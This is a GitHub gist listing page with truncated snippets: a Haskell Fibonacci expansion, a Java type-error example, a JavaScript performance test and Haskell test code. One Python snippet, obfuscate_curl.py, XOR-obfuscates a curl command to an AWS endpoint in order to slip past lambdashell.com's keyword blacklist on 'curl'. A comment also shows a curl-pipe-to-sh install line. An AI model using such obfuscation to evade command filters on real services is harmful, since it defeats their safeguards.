Skip to content

Instantly share code, notes, and snippets.

@berdario
berdario / fibs.hs
Created September 3, 2018 08:19
expansion of a recursive fibs impl
scanl f q ls = q : (case ls of
[] -> []
x:xs -> scanl f (f q x) xs)
fibs = 1 : scanl (+) 1 fibs
1 : 1 : (case fibs of
[] -> []
x:xs -> scanl (+) ((+) 1 x) xs)
# fibs is not []
# x:xs becomes 1:fibs
@berdario
berdario / Transpose.java
Created September 3, 2018 07:43
Java type errors can be nasty
import java.util.HashMap;
import java.util.HashSet;
import java.util.Set;
import static java.util.stream.Collectors.toMap;
class Transpose{
static <A, B> HashMap<B, HashSet<A>> transposeMap(HashMap<A, B> map){
return map.entrySet().stream().collect(toMap(e -> e.getValue(), e -> new HashSet<>(Set.of(e.getKey())), (x, y) -> {x.addAll(y); return x;}));
}
}
@berdario
berdario / obfuscate_curl.py
Created August 19, 2018 20:35
http://www.lambdashell.com/ uses `command.includes('curl')` to blacklist curl, such a check can be bypassed by piping the output of this script into sh
from random import choices, seed
from sys import argv
payload = b'''curl -v -X POST -H 'Content-Type: application/json' -d '{command: "echo \\"place here another CURL to a server that will return a newly encoded cmd to tie the knot\\""}' https://yypnj3yzaa.execute-api.us-west-1.amazonaws.com/dev'''
seed(argv[1])
obfuscation_key = choices(range(256), k=len(payload))
obfuscated_payload = [x ^ y for x, y in zip(payload, obfuscation_key)]
#!/usr/bin/env stack
-- stack --install-ghc runghc --package turtle
{-# LANGUAGE OverloadedStrings #-}
import Turtle
import Data.Text (intercalate)
@berdario
berdario / perf.js
Created May 14, 2017 23:29
Javascript sum types performance test
function B (tag, value0, value1, value2, value3, value4) {
this.tag = tag;
this.value0 = value0;
this.value1 = value1;
this.value2 = value2;
this.value3 = value3;
this.value4 = value4;
}
* Checking your package using psc-publish...
There is a problem with your package, which meant that it could not be
published.
Details:
Compile error:
#!/usr/bin/env stack
-- stack runghc --resolver lts-7.19 --install-ghc --package turtle -- -Wall
-- install stack with "curl -sSL https://get.haskellstack.org/ | sh"
-- create an AWS image with `env AWS_PROFILE=YOUR_PROFILE packer build -var 'stackage=lts-7.19' -var 'base_ami=ami-aaaaaaaa' bisect_tests.packer.json`
{-# LANGUAGE OverloadedStrings #-}
import Control.Monad.Trans.Maybe (MaybeT (..), runMaybeT)
{-# LANGUAGE DeriveFunctor #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE MultiParamTypeClasses #-}
module Example where
import Control.Exception
import Control.Monad
import Control.Monad.Error.Class
import Data.List (permutations, sortBy)
import Test.QuickCheck
readInt :: String -> Int
readInt = read
comp GT _ _ _ = GT
comp LT _ _ _ = LT
comp EQ _ [] [] = EQ
comp EQ previous [x] [] = compare x previous
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE TemplateHaskell #-}
import Prelude hiding (writeFile)
import Control.Monad (MonadPlus (..))
import Control.Monad.TestFixture